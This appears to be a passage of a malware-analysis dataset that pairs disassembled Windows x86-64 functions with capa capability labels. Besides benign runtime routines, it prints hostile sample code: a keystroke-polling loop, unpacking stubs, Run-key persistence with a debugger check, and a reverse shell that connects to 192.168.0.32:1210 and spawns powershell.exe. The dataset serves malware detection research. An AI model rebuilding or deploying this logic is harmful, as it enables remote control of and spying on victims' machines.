joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000ea00
Capabilities:
Log keystrokes via polling

Disassembly:
sub rsp, 0x78
mov rax, qword [0x1400be010]
xor rax, rsp
mov qword [rsp + 0x68], rax
xorps xmm0, xmm0
lea rcx, [rsp + 0x38]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
movups xmmword [rsp + 0x38], xmm0
movups xmmword [rsp + 0x48], xmm0
movups xmmword [rsp + 0x58], xmm0
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
je 0x14000ea52
lea rcx, [rsp + 0x38]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rsp + 0x38]
call qword [sym.imp.USER32.dll_DispatchMessageW]
lea rcx, [0x1400bf0e8]
mov qword [rsp + 0x70], rbx
call qword [sym.imp.USER32.dll_GetCursorPos]
mov rcx, qword [0x1400bf0c8]
lea rdx, [0x1400bf0f0]
call qword [sym.imp.USER32.dll_GetWindowRect]
call qword [sym.imp.USER32.dll_GetForegroundWindow]
cmp rax, qword [0x1400bf0c8]
jne 0x14000ec28
cmp dword [0x1400bf104], 0
jne 0x14000eaf3
mov ecx, 1
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
bt ax, 0xf
jae 0x14000eaf3
cmp dword [0x1400bfc38], 0
jne 0x14000eb00
cmp dword [0x1400bfcac], 0
je 0x14000eae4
mov eax, dword [0x1400bf0ec]
sub eax, dword [0x1400bf0f4]
mov ecx, dword [0x1400bf0e8]
sub ecx, dword [0x1400bf0f0]
mov dword [0x1400bf354], eax
xor eax, eax
mov dword [0x1400bfcac], eax
mov dword [0x1400bf350], ecx
mov dword [0x1400bfc38], 1
jmp 0x14000ec33
cmp dword [0x1400bfc38], 0
je 0x14000ebd5
mov ecx, 1
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
bt ax, 0xf
jae 0x14000ebd5
mov eax, dword [0x1400bf0fc]
mov r9d, dword [0x1400bf0f8]
mov r8d, dword [0x1400bf0ec]
mov edx, dword [0x1400bf0e8]
sub eax, dword [0x1400bf0f4]
sub r9d, dword [0x1400bf0f0]
sub r8d, dword [0x1400bf354]
sub edx, dword [0x1400bf350]
mov rcx, qword [0x1400bf0c8]
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], eax
mov dword [0x1400bf104], 1
call qword [sym.imp.USER32.dll_MoveWindow]
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
mov rcx, qword gs:[0x58]
mov rbx, rax
mov eax, 4
mov rdx, qword [rcx]
mov ecx, dword [rax + rdx]
cmp dword [0x1400bfcb0], ecx
jle 0x14000ebb9
lea rcx, [0x1400bfcb0]
call fcn.1400b0ab0
cmp dword [0x1400bfcb0], 0xffffffff
jne 0x14000ebb9
lea rcx, [0x1400bfcb0]
mov dword [0x1400bfc9c], ebx
call fcn.1400b0a50
mov eax, ebx
sub eax, dword [0x1400bfc9c]
cmp eax, 0x64
jl 0x14000ebce
mov dword [0x1400bfc9c], ebx
jmp 0x14000ec33
mov eax, 1
jmp 0x14000ec35
xor eax, eax
mov dword [0x1400bfcac], 1
cmp dword [0x1400bf108], eax
mov dword [0x1400bfc38], eax
mov dword [0x1400bf104], eax
jne 0x14000ec13
lea ecx, [rax + 1]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
bt ax, 0xf
jae 0x14000ec0c
mov ecx, 1
jmp 0x14000ec2d
mov ecx, 5
jmp 0x14000ec2d
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x30], 0x50
call fcn.140041510
jmp 0x14000ec33
mov ecx, 0x14
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
mov rbx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.1400b0930
add rsp, 0x78
ret
Function at 0x14003f110
Capabilities:
Write file on windows

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je 0x14003f138
add rsp, 0x20
pop r15
pop rdi
pop rbx
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
mov rsi, rbx
mov qword [rsp + 0x58], r14
mov r9, qword [rax]
test r9, r9
je 0x14003f15e
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x14003f160
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x14003f1b9
test ecx, ecx
jle 0x14003f199
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x14003f1b9
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x14003f1b9
mov r8, rbx
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov r14, qword [rsp + 0x58]
sub rsi, rbx
mov rbp, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop rdi
pop rbx
ret

Function at 0x14003f1e0
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
push r14
sub rsp, 0x30
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x14003f202
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
cmp qword [rcx + 0x68], 0
je 0x14003f218
add rsp, 0x30
pop r14
pop rsi
pop rbp
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x28], rbx
mov rbx, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x14003f234
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x14003f236
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x14003f272
mov qword [rsp + 0x20], rdi
cmp rax, rbp
mov rdi, rbp
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
add r14, rdi
sub rbx, rdi
sub dword [rax], edi
mov rcx, qword [rsi + 0x38]
movsxd rax, edi
mov rdi, qword [rsp + 0x20]
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x14003f30e
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x14003f2ad
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
cmp rbx, 0xfff
jbe 0x14003f2ee
nop word [rax + rax]
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add r14, rax
sub rbx, rax
cmp rax, 0xfff
jne 0x14003f30e
cmp rbx, rax
ja 0x14003f2c0
test rbx, rbx
je 0x14003f30e
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
sub rbp, rbx
mov rbx, qword [rsp + 0x28]
mov rax, rbp
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
Function at 0x14003f730
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x1400be010]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x14003f75d
xor eax, eax
jmp 0x14003f8c9
mov rax, qword [rcx + 0x40]
mov rdx, qword [rax]
test rdx, rdx
je 0x14003f797
mov rax, qword [rcx + 0x58]
movsxd r8, dword [rax]
lea rcx, [rdx + r8]
cmp rdx, rcx
jae 0x14003f797
lea ecx, [r8 - 1]
mov dword [rax], ecx
mov eax, edi
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], dil
jmp 0x14003f8c9
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x14003f8bc
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x14003f7da
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x14003f805
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x14003f8c1
lea rax, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x51]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x14003f874
sub eax, 1
je 0x14003f874
cmp eax, 2
jne 0x14003f8bc
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x14003f8c1
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x14003f8a2
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x14003f8bc
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov ecx, 0xffffffff
cmovne ecx, edi
mov eax, ecx
jmp 0x14003f8c1
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.1400b0930
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret
Function at 0x1400407a0
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x1400be010]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x140040873
cmp byte [rcx + 0x71], 0
je 0x140040873
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x14004086f
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140040834
sub eax, 1
je 0x140040838
cmp eax, 2
jne 0x14004086f
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1400b0930
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x140040866
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x14004086f
cmp byte [rbx + 0x71], 0
sete al
jmp 0x14004081c
xor al, al
jmp 0x14004081c
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1400b0930
add rsp, 0x60
pop rbx
ret
Function at 0x1400b14a8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400b14f2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400b14f2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400b14f2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400b14f2
cmp dword [rcx + 0x84], 0xe
jbe 0x1400b14f2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400b14f4
xor al, al
add rsp, 0x28
ret
Function at 0x140013ec0
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140013cec

Function at 0x14138e058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x14138e1df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x14138e089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14138e06f
add dl, dl
jne 0x14138e096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14138e0f6
xor eax, eax
add dl, dl
jne 0x14138e0a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14138e1ad
add dl, dl
jne 0x14138e0b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14138e0c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14138e0d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14138e0dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x14138e0ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14138e07e
mov eax, 1
add dl, dl
jne 0x14138e106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14138e113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14138e0fb
sub eax, ebx
mov ebx, 1
jne 0x14138e14c
mov ecx, 1
add dl, dl
jne 0x14138e12e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14138e13b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14138e123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14138e07e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x14138e168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14138e175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14138e15d
cmp eax, 0x7d00
jae 0x14138e19b
cmp eax, 0x500
jb 0x14138e196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14138e07e
cmp eax, 0x7f
ja 0x14138e19e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14138e07e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x14138e1d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14138e07e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x14000b150
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x14000b15d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x14000b16d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x14000b155
lea eax, [rcx + 1]
call r11
adc eax, eax
add ebx, ebx
jne 0x14000b185
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x14000b172
sub eax, 3
jb 0x14000b19f
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x14000b1d6
movsxd rbp, eax
lea eax, [rcx + 1]
call r11
adc ecx, ecx
call r11
adc ecx, ecx
jne 0x14000b1c6
mov ecx, eax
add eax, 2
call r11
adc ecx, ecx
add ebx, ebx
jne 0x14000b1c4
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x14000b1b3
cmp rbp, 0xfffffffffffff300
adc ecx, eax
call fcn.14000b112
jmp 0x14000b15d
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x2400
mov dl, 1
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x14000b222
cmp rsi, rcx
jae 0x14000b22a
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x14000b209
cmp al, 0x8f
ja 0x14000b209
cmp byte [rsi - 2], 0xf
je 0x14000b20f
sub al, 0xe8
cmp al, 1
ja 0x14000b1f3
cmp rsi, rcx
jae 0x14000b22a
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x14000b1f9
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x14000b22a
lodsb al, byte [rsi]
jmp 0x14000b209
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x9000]
mov eax, dword [rdi]
or eax, eax
je 0x14000b287
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0xb1e0]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x14000b237
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x14000b281
mov qword [rbx], rax
add rbx, 8
jmp 0x14000b257
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x14000b2c1
cmp al, 0xef
ja 0x14000b2b3
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x14000b293
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x14000b2a2
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x21f]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x14000b315
sub rsp, 0xffffffffffffff80
jmp 0x1400027bc
Function at 0x140001000
Capabilities:
Check mutex on windows
Copy file
Persist via run registry key
Set registry value

Disassembly:
push rbx
sub rsp, 0x280
lea r8, str.chirpchirp
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
cmp eax, 1
je 0x140001179
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x14000104f
test rbx, rbx
je 0x14000104f
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x14000117f
mov r8d, 0x104
lea rdx, [rsp + 0x60]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xor r8d, r8d
lea rdx, [0x140021088]
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CopyFileA]
xor ecx, ecx
lea rax, [rsp + 0x50]
mov qword [rsp + 0x40], rcx
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov qword [rsp + 0x38], rax
xor r9d, r9d
mov qword [rsp + 0x30], rcx
xor r8d, r8d
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], ecx
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x1400010ff
lea rcx, [0x140021050]
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], 0
jne 0x1400010c5
inc eax
lea rdx, str.Testing
mov dword [rsp + 0x28], eax
mov r9d, 1
mov qword [rsp + 0x20], rcx
xor r8d, r8d
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov r8d, 0x104
lea rdx, [rsp + 0x170]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rax, [rsp + 0x170]
lea r8, str.C:UsersPublicDownloadshithere.exe
sub r8, rax
nop word [rax + rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140001143
inc rax
test ecx, ecx
jne 0x140001130
test edx, edx
jne 0x140001162
nop word [rax + rax]
mov ecx, 0xea60
call qword [sym.imp.KERNEL32.dll_Sleep]
call sym.PDFTest.exe_connect
jmp 0x140001150
lea rcx, str.funk
call fcn.1400015b0
xor eax, eax
add rsp, 0x280
pop rbx
ret
call fcn.140001440
int3
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.140001440
int3
Function at 0x1400011a0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create a process with modified i/o handles and window
Create process on windows
Create tcp socket
Initialize winsock library
Resolve dns

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x150
mov ecx, 0x202
lea rdx, [0x140022ea0]
call qword [sym.imp.WS2_32.dll_WSAStartup]
xor edi, edi
mov ebx, 2
mov dword [rsp + 0x28], edi
mov ecx, ebx
xor r9d, r9d
mov dword [rsp + 0x20], edi
mov edx, 1
mov r8d, 6
call qword [sym.imp.WS2_32.dll_WSASocketA]
lea rcx, str.192.168.0.32
mov qword [0x140022e80], rax
call qword [sym.imp.WS2_32.dll_gethostbyname]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx]
mov ecx, dword [rcx]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
mov edx, 0x10
lea rcx, str.192.168.0.32
mov r8, rax
call fcn.140004900
lea rcx, str.1210
mov word [0x140022e70], bx
call fcn.140004db0
mov ecx, eax
call qword [sym.imp.WS2_32.dll_htons]
lea rcx, str.192.168.0.32
mov word [0x140022e72], ax
call qword [sym.imp.WS2_32.dll_inet_addr]
mov dword [0x140022e74], eax
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [0x140022e80]
lea rdx, [0x140022e70]
mov qword [rsp + 0x30], rdi
xor r9d, r9d
mov qword [rsp + 0x28], rdi
mov r8d, 0x10
mov qword [rsp + 0x20], rdi
call qword [sym.imp.WS2_32.dll_WSAConnect]
test eax, eax
jne 0x140001250
mov rax, qword [0x140022e80]
lea rcx, [rsp + 0x5f]
xorps xmm0, xmm0
mov qword [0x140022e60], rax
movups xmmword [0x140022e50], xmm0
mov qword [0x140022e58], rax
xor edx, edx
mov qword [0x140022e50], rax
mov r8d, 0xf0
mov eax, dword [0x1400210b8]
mov dword [rsp + 0x58], eax
movzx eax, word [0x1400210bc]
movups xmmword [0x140022e00], xmm0
mov word [rsp + 0x5c], ax
movzx eax, byte [0x1400210be]
movups xmmword [0x140022e30], xmm0
mov byte [rsp + 0x5e], al
movups xmmword [0x140022e10], xmm0
mov dword [0x140022e00], 0x68
movups xmmword [0x140022e20], xmm0
mov dword [0x140022e3c], 0x101
movups xmmword [0x140022e40], xmm0
movsd xmm0, qword [str.powershell.exe]
movsd qword [rsp + 0x50], xmm0
call fcn.140014540
lea rax, [0x140022de0]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rdx, [rsp + 0x50]
lea rax, [0x140022e00]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor ecx, ecx
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rbx, qword [rsp + 0x160]
xor eax, eax
add rsp, 0x150
pop rdi
ret

Function at 0x140001d5c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001da6
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001da6
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001da6
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001da6
cmp dword [rcx + 0x84], 0xe
jbe 0x140001da6
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001da8
xor al, al
add rsp, 0x28
ret
Function at 0x140007a04
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x140007a73
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140007a73
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140007a73
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140007a73
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140007a73
cmp dword [rcx + 0x84], 0xe
jbe 0x140007a73
cmp dword [rcx + 0xf8], 0
je 0x140007a73
mov ecx, ebx
call fcn.140007b24
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.140007900
nop
cmp dword [rbp + 0x20], 0
je 0x140007ac1
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140007acc
int3
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
jmp 0x140007a04

Function at 0x140007c08
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140007a04
Function at 0x14000cf2c
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x14000cf5c
xor eax, eax
jmp 0x14000d01f
mov rbp, rbx
cmp word [rax], si
je 0x14000cf81
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x14000cf68
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x14000cf64
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.14000ce4c
movsxd r14, eax
test eax, eax
jne 0x14000cfbf
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x14000cf55
mov rcx, r14
call fcn.140009f04
mov rdi, rax
test rax, rax
jne 0x14000cfd8
xor ecx, ecx
call fcn.140009378
jmp 0x14000cfb4
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
